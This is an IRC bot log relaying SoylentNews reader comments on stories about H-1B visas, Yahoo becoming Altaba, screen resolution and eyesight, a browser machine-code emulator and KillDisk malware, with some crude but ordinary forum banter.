[07:09:55] <exec> 08└─Big difference between should and you-arent-a-real-citizen-go-back-to-home-country.
[07:10:00] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:"brain-drain from other countries" - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 36 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[07:10:00] <exec> 08└─The ethanol is strong in this one...
[07:10:25] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Reciprocal programs? - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 218 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[07:10:25] <exec> 08└─If you haven't been to Detroit or Chicago, please shut up. I've seen people literally shit in the street in those cities. I've lived in Raleigh, where I lived across the street from an open sewer. America is not Great.
[07:10:49] <exec> *** new comment: 03bzipitidoo [4388] (Score:3, Interesting) 02Re:with better IP law, wouldn't be a big deal - 06Razer Prototypes Stolen at CES - 605 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[07:10:49] <exec> 08└─No, patents are not necessary. Payment is. Patents are merely bargaining power. It should be possible to pay inventors for their efforts, without patents. Possible to come up with fairer valuations, without patents. The worst part is the basic idea intellectual property is founded upon. The notion t...
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[08:09:09] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Altwhatnow? - 06Marissa Mayer To Resign From Yahoo Board as Remaining Company Renames Itself Altaba - 100 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[08:09:09] <exec> 08└─In related news: Google is named Alphabet. Nobody cares about the silly name of the holding company.
[08:09:10] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Altwhatnow? - 06Marissa Mayer To Resign From Yahoo Board as Remaining Company Renames Itself Altaba - 150 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[08:09:10] <exec> 08└─"Alt-Tab-A" A three fingered salute. The middle "t" is both silent, and invisible. Does this mean I will have to get a new throw-away email account?
[08:09:12] <exec> *** new comment: 03takyon [881] (Score:2) 02Re:Altwhatnow? - 06Marissa Mayer To Resign From Yahoo Board as Remaining Company Renames Itself Altaba - 40 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[08:09:12] <exec> 08└─https://protonmail.com/ [protonmail.com]
[08:09:14] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Altwhatnow? - 06Marissa Mayer To Resign From Yahoo Board as Remaining Company Renames Itself Altaba - 54 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[08:09:15] <exec> 08└─I typed Alt-Tab-A and nothing happened. Please advise.
[08:09:16] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Altwhatnow? - 06Marissa Mayer To Resign From Yahoo Board as Remaining Company Renames Itself Altaba - 32 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[08:09:17] <exec> 08└─https://www.mail.com/ [mail.com]
[08:09:18] <exec> *** new comment: 03takyon [881] (Score:2) 02Re:Altwhatnow? - 06Marissa Mayer To Resign From Yahoo Board as Remaining Company Renames Itself Altaba - 154 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[08:09:19] <exec> 08└─It's pronounced: "nobody cares about this dried husk of a company that merely holds investments in other companies". So, pretty tough to say 5 times fast.
[08:09:21] <exec> *** new comment: 03Anonymous Coward (Score:-1, Troll) 02Re:Marissa Mayer is still hot - 06Marissa Mayer To Resign From Yahoo Board as Remaining Company Renames Itself Altaba - 283 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[08:09:22] <exec> 08└─There's a photo on her CV, this is a fact. She holds a master's degree in computer science, yet under languages she lists: English, Spanish, German. "Female employee #1" so she blatantly sexist. "Proud Geek" should read "FAKE geek" Her CV reads like a dating profile. Would not date.
[08:09:23] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Marissa Mayer is still hot - 06Marissa Mayer To Resign From Yahoo Board as Remaining Company Renames Itself Altaba - 138 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[08:09:24] <exec> 08└─In the social media era, CV and dating profile are the same thing. People don't have private lives anymore, and are married to their work.
[08:09:25] <exec> *** new comment: 03Anonymous Coward (Score:0) 02She got her money - 06Marissa Mayer To Resign From Yahoo Board as Remaining Company Renames Itself Altaba - 291 chars -04 http://soylentnews.org
[08:09:26] <exec> 08└─yahoo has not mattered since like 99 so screw her she got what she went there for, only way she could have done better was to get more dod, doj or leo money,but google and facebook have that locked up, can we stop pretending that internet companies are not just extensions of state violence?
[08:09:27] <exec> *** new comment: 03Anonymous Coward (Score:1, Informative) 02Resigned? - 06Marissa Mayer To Resign From Yahoo Board as Remaining Company Renames Itself Altaba - 342 chars -04 http://soylentnews.org
[08:09:28] <exec> 08└─She should be fired. Any lower employee who performed as badly as she has would have been kicked out long ago. High schools are failing our kids by trying to teach them things instead of just putting them into corporate leadership roles. Which scammer is going to be the first to snatch up yahoo.com...
[08:09:30] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Resigned? - 06Marissa Mayer To Resign From Yahoo Board as Remaining Company Renames Itself Altaba - 90 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[08:09:30] <exec> 08└─Oh boy! Think of the billions of email accounts to plunder! Oh wait that already happened.
[08:09:32] <exec> *** new comment: 03Anonymous Coward (Score:2, Interesting) 02Good Job - 06Marissa Mayer To Resign From Yahoo Board as Remaining Company Renames Itself Altaba - 235 chars -04 http://soylentnews.org
[08:09:33] <exec> 08└─When Mayer started, and as recently as last year, people were saying that Yahoo's core business was worthless. She just sold it for $4.8B. Seems like a major success to me and well worth the $0.2B she was compensated, a little over 4%.
[08:09:53] <exec> *** new comment: 03jmorris [4844] (Score:2) 02Re:Ignore this - 06Q8 - Experiment With Low Level Machine Code Programming in Your Browser - 158 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[08:09:54] <exec> 08└─This is of course true. But there are no signed compares so doesn't help. The Condition Code bits needs C Z V and N to implement the full set of conditionals.
[08:10:25] <exec> 08*** score 5 comment: 03Runaway1956 [2926] 02Re:Nothing new about any of this - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 290 chars - 04 http://soylentnews.org (parent: http://soylentnews.org)
[08:10:25] <exec> 08└─+5000 insightful We, the common people, are brainwashed to believe that immigration is good for this reason or that. But, the decision makers across the country lobby for things like H-1B for one reason only. Immigration and work programs drive wages down. Always, it's all about the money.
[08:10:37] <exec> *** new comment: 03q.kontinuum [532] (Score:2) 02Re:I've worked with a lot of H1-B's - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 238 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[08:10:37] <exec> 08└─One morning she came into my office. She'd had a car accident last night. She didn't have a license. Nor insurance. It was her roomate's car. She didn't tell her roomate she was borrowing the car. I sent her to HR and never saw her again.
[08:10:39] <exec> *** new comment: 03GungnirSniper [1671] (Score:2) 02Re:I've worked with a lot of H1-B's - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 131 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[08:10:39] <exec> 08└─Odds are even if the client liked her, the outsourcing company did not want legal scrutiny and sent her home to avoid any problems.
[08:10:40] <exec> 08*** score 5 comment: 03Anonymous Coward 02Trump called it - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 528 chars - 04 http://soylentnews.org
[08:10:41] <exec> 08└─I didn't vote for Trump, but overall he's right on H1B's. I've personally seen them used as "abusable" cheap IT labor. The "shortage" claim is bullshit at least half the time. And, citizens rejected for a position filled by a visa worker should have the right to both know the reason and be able to c...
[08:10:50] <exec> *** new comment: 03ese002 [5306] (Score:2) 02Food and water safety - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 1361 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[08:10:51] <exec> 08└─In the States, when the water is not safe to drink (e.g. Flint), it is a considered a tragedy and a crime. Political careers for anyone near are ruined. I'm not sure what it means when tap water is safe to drink in India. In six months of travel across most of India, I never found such a place. Not...
[08:10:52] <exec> *** new comment: 03q.kontinuum [532] (Score:2) 02Re:Food and water safety - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 702 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[08:10:53] <exec> 08└─I wasn't in India yet, but some (most) of your description would apply for most parts of Philippines as well. I was there only for weeks at a time a couple of times yet, but I think I could manage very well. Drinking water is delivered in huge bottles, food bought in streets can be a health hazard,...
[08:12:57] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Killing gently - 06German Green Party MP Considers Subsidized Sex for the Disabled - 246 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[08:12:57] <exec> 08└─That can probably be generalized to "for people out of shape, exercise increases the probability for heart attacks". But you want to exercise to GET in shape, because being in good shape lowers the risk, not just while exercising, but in general.
[08:14:04] <exec> *** new comment: 03Bot [3902] (Score:2) 02Re:You gave the reason - 06"Finder for Airpods" Not Allowed in Apple's Walled Garden - 153 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[08:14:04] <exec> 08└─Incidentally, it is also the reason for buying 2 replacement pods instead of a new pair* *) probably won't work, can't outsmart a corporation on pricing.
[08:15:22] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Sea creatures - 06DARPA Plans to Demonstrate Temporary Underwater Fiber-Optic Networks - 131 chars -04 http://soylentnews.org
[08:15:22] <exec> 08└─I wonder how many sea creatures would try to eat it. Sea turtles eat plastic bags (not good for them). Maybe sharks with lasers? ;)
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[09:09:18] <exec> *** new comment: 03caffeine [249] (Score:2) 02I asked my optometrist about this - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 398 chars -04 http://soylentnews.org
[09:09:19] <exec> 08└─His view was that eyesight really has a wide range of performance. A few people can see quite a fair bit better than the average. I had messed with his mind a little at that point. Before he entered the room, I had memorised the fine print copyright statement on the bottom of the eye chart. When doi...
[09:09:20] <exec> *** new comment: 03Scruffy Beard 2 [6030] (Score:2) 02luddite here - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 314 chars -04 http://soylentnews.org
[09:09:20] <exec> 08└─I for one am glad the computer monitors are no longer apparently limited to 1920x1080x24bppx60Hz (I blame HDMI and DRM for that) Of course, I will be using 1200x1024x24bpp monitors for the foreseeable future. One I can push above 60Hz. (Two are technically not limited to 24bpp, but pretty sure the v...
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[09:09:22] <exec> 08└─The unofficial standard for computer displays is 96 DPI. A 24" monitor at 1920x1080 (2k) will be close to that figure, and everything will be about the right size at the default scaling level in the OS. With 4k, you want to double that 96 DPI and come out somewhere near 190. That way you can have ni...
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[09:09:24] <exec> 08└─I would like to point out that 192dpi is close to fine fax resolution. Remember those?
[09:09:25] <exec> *** new comment: 03EvilSS [1456] (Score:2) 02Re:96 DPI - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 678 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[09:09:27] <exec> 08└─One thing to consider is that a larger monitor is going to require less scaling. For example, I have a similar setup to the OP, a 40" 4K main monitor, and it requires no DPI scaling to make it usable. Text, icons, and GUI elements are large enough that it's not an issue. It looks about the same as a...
[09:09:28] <exec> *** new comment: 03wonkey_monkey [279] (Score:2) 02Or... - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 76 chars -04 http://soylentnews.org
[09:09:29] <exec> 08└─Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye?
[09:09:30] <exec> *** new comment: 03Anonymous Coward (Score:1, Funny) 02ega is still the best - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 60 chars -04 http://soylentnews.org
[09:09:31] <exec> 08└─you can pry my tandy monitor from my blind electrocuted hand
[09:09:32] <exec> *** new comment: 03Rivenaleem [3400] (Score:2) 02VR and Virtual desktops - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 637 chars -04 http://soylentnews.org
[09:09:33] <exec> 08└─I played around with an Occulus Rift one day and used it for gaming and watching 360 videos. However one thing that was also really interesting is the ability to create multiple virtual screens of almost any size you wanted, place them where you liked (even above or behind you). Now there'll be prac...
[09:09:45] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Altwhatnow? - 06Marissa Mayer To Resign From Yahoo Board as Remaining Company Renames Itself Altaba - 30 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[09:09:45] <exec> 08└─Have you tried turning it off?
[09:09:55] <exec> *** new comment: 03EvilSS [1456] (Score:2) 02Marissa Mayer To Resign IF.... - 06Marissa Mayer To Resign From Yahoo Board as Remaining Company Renames Itself Altaba - 206 chars -04 http://soylentnews.org
[09:09:55] <exec> 08└─The big condition on this is, of course, that Verizon's board doesn't sober up from whatever bender they're apparently on before the sale is complete and realize the colossal mistake they are about to make.
[09:09:56] <exec> *** new comment: 03Azuma Hazuki [5086] (Score:2) 02Re:Marissa Mayer To Resign IF.... - 06Marissa Mayer To Resign From Yahoo Board as Remaining Company Renames Itself Altaba - 112 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[09:09:57] <exec> 08└─Meh, Yahoo and Verizon both gargle huge, sweaty rhino balls. I'd love to see them drown in this morass together.
[09:09:58] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Marissa Mayer To Resign IF.... - 06Marissa Mayer To Resign From Yahoo Board as Remaining Company Renames Itself Altaba - 60 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[09:09:59] <exec> 08└─You'll enjoy hating on the Comcast-Verizon merger this year.
[09:10:00] <exec> *** new comment: 03EvilSS [1456] (Score:2) 02Re:Marissa Mayer To Resign IF.... - 06Marissa Mayer To Resign From Yahoo Board as Remaining Company Renames Itself Altaba - 364 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[09:10:01] <exec> 08└─Oh I would too, and I have no doubt buying Yahoo would go down as a massive mistake for them. However you cannot deny Verizon is a profitable company and well positioned in their field, while Yahoo is... well the opposite of all that. So Verizon buying Yahoo makes about as much sense as them spendin...
[09:11:09] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Trump called it - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 148 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[09:11:09] <exec> 08└─Every applicant with a relevant 4 year degree or 5 years of relevant experience should get a notice of rejection, along with their challenge rights.
[09:11:41] <exec> 08*** score 5 comment: 03bzipitidoo [4388] 02Re:with better IP law, wouldn't be a big deal - 06Razer Prototypes Stolen at CES - 605 chars - 04 http://soylentnews.org (parent: http://soylentnews.org)
[09:11:41] <exec> 08└─No, patents are not necessary. Payment is. Patents are merely bargaining power. It should be possible to pay inventors for their efforts, without patents. Possible to come up with fairer valuations, without patents. The worst part is the basic idea intellectual property is founded upon. The notion t...
[09:11:44] <exec> *** new comment: 03Scruffy Beard 2 [6030] (Score:2) 02Re:with better IP law, wouldn't be a big deal - 06Razer Prototypes Stolen at CES - 202 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[09:11:44] <exec> 08└─While to don't like Industrial Protectionism much, trademarks and trade secrets have their place. These were prototypes. Prototypes are often (always?) more expensive than anything in actual production.
[09:13:45] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:I must not read the right books - 06German Green Party MP Considers Subsidized Sex for the Disabled - 123 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[09:13:45] <exec> 08└─This is only for handicapped people. Just imagine having all the free porn you can get (aka "the internet"), but no arms...
[09:15:54] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Sea creatures - 06DARPA Plans to Demonstrate Temporary Underwater Fiber-Optic Networks - 35 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[09:15:54] <exec> 08└─Hey, they said it's only temporary.
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[10:09:10] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Living The Unplan Life - 06T-Mobile and Verizon Mobile Plans Change; Probably Not Better for Consumers - 681 chars -04 http://soylentnews.org
[10:09:10] <exec> 08└─I'm not a gangster tonight Don't want to be a bad guy I'm just a loner baby And now you're gotten in my way I can't decide Whether you should live or die .......... Well now, I have a couple of unpaid SIM cards, and I have a sudden urge to stream ten hours of paint drying. Let me see which unSIM sho...
[10:09:26] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:VR and Virtual desktops - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 314 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[10:09:26] <exec> 08└─My dream setup if price weren't an issue. A practical and powerful VR/AR system. With features like adjustable transparency so that you can see/"see" all/parts of the outside world when desired. But they don't have high enough resolution for now. What is your dream setup if technology and price wer...
[10:09:27] <exec> *** new comment: 03EvilSS [1456] (Score:2) 02Your eyes are better than mine! - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 1359 chars -04 http://soylentnews.org
[10:09:27] <exec> 08└─I have a similar setup (40" 4K, about 24-28" away from my head) and I can, with glasses with a slight over-magnification (+0.25 extra, Dr recommended for computer work) barely make out pixels, and only on soft curves like the top corners of the comment box here. I have to use a magnifying glass to r...
[10:09:29] <exec> *** new comment: 03Anonymous Coward (Score:0) 024K is fine - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 16 chars -04 http://soylentnews.org
[10:09:30] <exec> 08└─But price isn't.
[10:09:31] <exec> *** new comment: 03EvilSS [1456] (Score:2) 02Re:4K is fine - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 655 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[10:09:32] <exec> 08└─You can get a decent 4K 24" monitor with freesync for $350, 27/28" monitors start at $400. TV's are falling in price even faster. A 40" Samsung TV can be had for $350 at Best Buy right now, and it makes a perfectly fine monitor if you don't want to do serious gaming (FPS is not going above 60 obviou...
[10:09:33] <exec> *** new comment: 03Bot [3902] (Score:2) 02yes good enough - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 169 chars -04 http://soylentnews.org
[10:09:34] <exec> 08└─nearsighted people see near things magnified. Got me a 3 K monitor once, but the white balance was off, and the KKK wanted it back immediately (curious bunch of people).
[10:10:18] <exec> 08*** score 5 comment: 03stormwyrm [717] 02Re:I started with z-80 assembly - 06Q8 - Experiment With Low Level Machine Code Programming in Your Browser - 1125 chars - 04 http://soylentnews.org (parent: http://soylentnews.org)
[10:10:18] <exec> 08└─Modern computers though are far more complicated beasts than the C-64 I first got started with. Back in those days it was absolutely essential to know assembly language, and this was still true with the 16-bit IBM PC. On modern hardware though, given how much more complex and varied they are these d...
[10:10:19] <exec> *** new comment: 03turgid [4318] (Score:2) 02Re:I started with z-80 assembly - 06Q8 - Experiment With Low Level Machine Code Programming in Your Browser - 40 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[10:10:19] <exec> 08└─God uses a Z80 when he can't get a 6809.
[10:10:48] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:"brain-drain from other countries" - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 28 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[10:10:49] <exec> 08└─Assholes come in all colors.
[10:11:01] <exec> *** new comment: 03anubi [2828] (Score:1) 02Re:I've worked with a lot of H1-B's - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 164 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[10:11:01] <exec> 08└─at my age, if it ever takes me more than about six months to find a job, I'm just going to retire. Fek the rat race, I've run on this damned wheel long enough, LOL!
[10:11:21] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Reciprocal programs? - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 100 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[10:11:21] <exec> 08└─But that's just one issue per place (with plenty of good places to live), while India combines them.
[10:13:35] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Exciting - 06German Green Party MP Considers Subsidized Sex for the Disabled - 17 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[10:13:35] <exec> 08└─Why not? Explain.
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[11:09:14] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Upsell Me Bro - 06T-Mobile and Verizon Mobile Plans Change; Probably Not Better for Consumers - 87 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[11:09:14] <exec> 08└─http:/ /mimpre.t-mobile.com/upsell/mbb.do That's the way t-mo rolls, blunt, not classy.
[11:09:27] <exec> *** new comment: 03The Mighty Buzzard [18] (Score:2) 02Re:96 DPI - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 362 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[11:09:27] <exec> 08└─Another thing to consider is a larger monitor is going to require more physical real estate. My poor little TV cart is already maxed out with a 24" 16:9 and a 19" 4:3. I guess I could wall mount up to a 50" or so but anything bigger than that and I'd have to relocate everything. Oooh, a 50" mounted...
[11:09:32] <exec> *** new comment: 03The Mighty Buzzard [18] (Score:2) 02Re:VR and Virtual desktops - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 165 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[11:09:32] <exec> 08└─With features like adjustable transparency so that you can see/"see" all/parts of the outside world when desired. But they don't have high enough resolution for now.
[11:09:38] <exec> *** new comment: 03GungnirSniper [1671] (Score:2) 02Re:yes good enough - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 274 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[11:09:39] <exec> 08└─I chortled at that. Just today I ordered a second 4K screen for my office, because the first has just been too awesome for the antiquated 24 inch wide screen to remain alongside it. I've heard of Windows 10's quartering feature; how can I get the same on Linux or Windows 7?
[11:09:40] <exec> *** new comment: 03jimshatt [978] (Score:2) 02Re:yes good enough - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 130 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[11:09:41] <exec> 08└─Some googling got me to X Tile: http://www.giuspen.com [giuspen.com] Looks slightly ancient, but useful and customizable.
[11:09:42] <exec> *** new comment: 03The Mighty Buzzard [18] (Score:2) 02Re:yes good enough - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 141 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[11:09:43] <exec> 08└─Considered a tiling window manager? If you're completely anal^W^Wparticular about your window placement that really may be the thing for you.
[11:09:58] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Altwhatnow? - 06Marissa Mayer To Resign From Yahoo Board as Remaining Company Renames Itself Altaba - 25 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[11:09:58] <exec> 08└─Altabasta [wikipedia.org]
[11:12:18] <exec> *** new comment: 03cubancigar11 [330] (Score:2) 02Re:I Was Going To Submit This Story ... - 06Long-Term Stress Erodes Memory - 66 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[11:12:18] <exec> 08└─I know man, the stress of first post, its just too much sometimes.
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[12:09:30] <exec> *** new comment: 03FatPhil [863] (Score:2) 02Re:I asked my optometrist about this - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 64 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[12:09:30] <exec> 08└─You actually said "and repeated the copyright statement" to him?
[12:09:36] <exec> *** new comment: 03EvilSS [1456] (Score:2) 02Re:96 DPI - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 433 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[12:09:36] <exec> 08└─True. I cheated and bought an inexpensive dining room table to use as a desk. I lose drawer space of course, but I gain a huge desktop, particularly the depth compared to most desks. Drilled some holes for 2" cable management grommets, and I mounted one of those big 16 outlet, 48 inch lab power stri...
[12:09:49] <exec> *** new comment: 03engblom [556] (Score:2) 02PPI is a far better measurement - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 187 chars -04 http://soylentnews.org
[12:09:50] <exec> 08└─I have always wondered why people are so obsessed with the total resolution of a screen when all that matters is PPI? PPI is a better measurement as it takes the screen size into account.
[12:09:51] <exec> *** new comment: 03Aiwendil [531] (Score:2) 02Training matters - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 778 chars -04 http://soylentnews.org
[12:09:51] <exec> 08└─You have two hyperacute optical sensors (fovea) that run in tandem from slightly different angles. This means they will pick up on obscure things like the depth of the pixels as well when close enough, and this in addition to the spacing. With training you'll learn to spot the artefacts this produce...
[12:09:52] <exec> *** new comment: 03opinionated_science [4031] (Score:2) 02general medical facts... - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 472 chars -04 http://soylentnews.org
[12:09:53] <exec> 08└─How about writing some software that objectivity measures your sensitivity. I saw this a few years ago, but with modern tech. should be easy to copy. Make central focus on the screen and have randomly appear blue(say) objects that you click the keyboard to acknowledge. you might need to capture 50-1...
[12:10:21] <exec> *** new comment: 03Unixnut [5779] (Score:2) 02Re:Marissa Mayer To Resign IF.... - 06Marissa Mayer To Resign From Yahoo Board as Remaining Company Renames Itself Altaba - 116 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[12:10:21] <exec> 08└─Verizon is a profitable company and well positioned in their field, while Yahoo is... well the opposite of all that.
[12:10:22] <exec> *** new comment: 03EvilSS [1456] (Score:2) 02Re:Marissa Mayer To Resign IF.... - 06Marissa Mayer To Resign From Yahoo Board as Remaining Company Renames Itself Altaba - 306 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[12:10:22] <exec> 08└─Oh yea, worked out great for TW :) That one at least made a little more sense since AOL was still somewhat relevant at the time (although that didn't last long after merger). Hard to believe it was AOL that bought Time Warner in that deal. Yahoo has pretty much lost all relevance in anything that th...
[12:10:23] <exec> *** new comment: 03bradley13 [3053] (Score:2) 02All that's left - 06Marissa Mayer To Resign From Yahoo Board as Remaining Company Renames Itself Altaba - 471 chars -04 http://soylentnews.org
[12:10:24] <exec> 08└─So...all that's left is an investment company with some assets. If you were a shareholder, why would you suppose that the people left are competent to run an investment company? Let's be honest: all the board and remaining employees are going to do is suck value out of the investments in the form of...
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[12:10:40] <exec> 08└─this. I rarely write assembler, but in science getting the absolute best performance is often required... I worked on some GCC/GPU stuff last year, where getting the assembler proved to be important for the diagnosing the (incorrect) maths!
[12:10:48] <exec> *** new comment: 03Unixnut [5779] (Score:3, Informative) 02Re:Ignore this - 06Q8 - Experiment With Low Level Machine Code Programming in Your Browser - 91 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[12:10:48] <exec> 08└─Somebody with far too time on their hand demoed Linux booting on a Javascript emulated CPU.
[12:10:50] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Sounds Familiar - 06Q8 - Experiment With Low Level Machine Code Programming in Your Browser - 83 chars -04 http://soylentnews.org
[12:10:51] <exec> 08└─"runs it at a fraction of the speed of a real CPU" Kinda reminds you of Windows 10.
[12:11:37] <exec> *** new comment: 03TheRaven [270] (Score:2) 02Re:I've worked with a lot of H1-B's - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 91 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[12:11:37] <exec> 08└─IMHO, the solution is to ensure H1-Bs get paid the equivalent salary of the American worker
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[13:09:16] <exec> *** new comment: 03FatPhil [863] (Score:3, Informative) 02Now called killdiskd - 06KillDisk Malware Now Targets Linux - 98 chars -04 http://soylentnews.org
[13:09:17] <exec> 08└─I believe Lennart has already merged the pull request incorporating it into systemd - upgrade now!
[13:09:18] <exec> *** new comment: 03opinionated_science [4031] (Score:2) 02err... - 06KillDisk Malware Now Targets Linux - 55 chars -04 http://soylentnews.org
[13:09:18] <exec> 08└─but how do you get it? Someone has to load the malware?
[13:09:19] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:err... - 06KillDisk Malware Now Targets Linux - 153 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[13:09:20] <exec> 08└─1. Click on every link in every spam email you receive. 2. Get malware. 3. Blame the IT guy. 4. Receive bonus for getting IT guy fired. 5. Repeat step 1.
[13:09:44] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:96 DPI - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 56 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[13:09:44] <exec> 08└─The unofficial standard for computer displays is 96 DPI.
[13:09:53] <exec> *** new comment: 03FatPhil [863] (Score:2) 02Re:4K is fine - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 720 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[13:09:53] <exec> 08└─> 4k displaces 1080p in the TV market. This is one thing I don't understand. When I see a match on a telly in the pub, the TV image quality is barely better than analogue was 20 years ago, and sometimes far worse. There may be more pixels, but half of those pixels are just showing blocking or scalin...
[13:09:58] <exec> *** new comment: 03jimshatt [978] (Score:2) 02Re:yes good enough - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 162 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[13:09:59] <exec> 08└─Some options for compiz and for unity: http://askubuntu.com [askubuntu.com]
[13:13:59] <exec> *** new comment: 03Joe Desertrat [2454] (Score:2) 02Re:Meanwhile in America.. - 06German Green Party MP Considers Subsidized Sex for the Disabled - 81 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[13:13:59] <exec> 08└─Couldn't they overcome that by trying to look at it as a "jobs creation" program?
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[14:09:50] <exec> 08└─So, Earth does look a little different to what we see of other planets. I know it sounds obvious, but it really isn't. From a distance we might just look like a nondescript blue orb with white lines like other planets do to us. Unfortunately, I imagine that we can't really use that uniqueness to try...
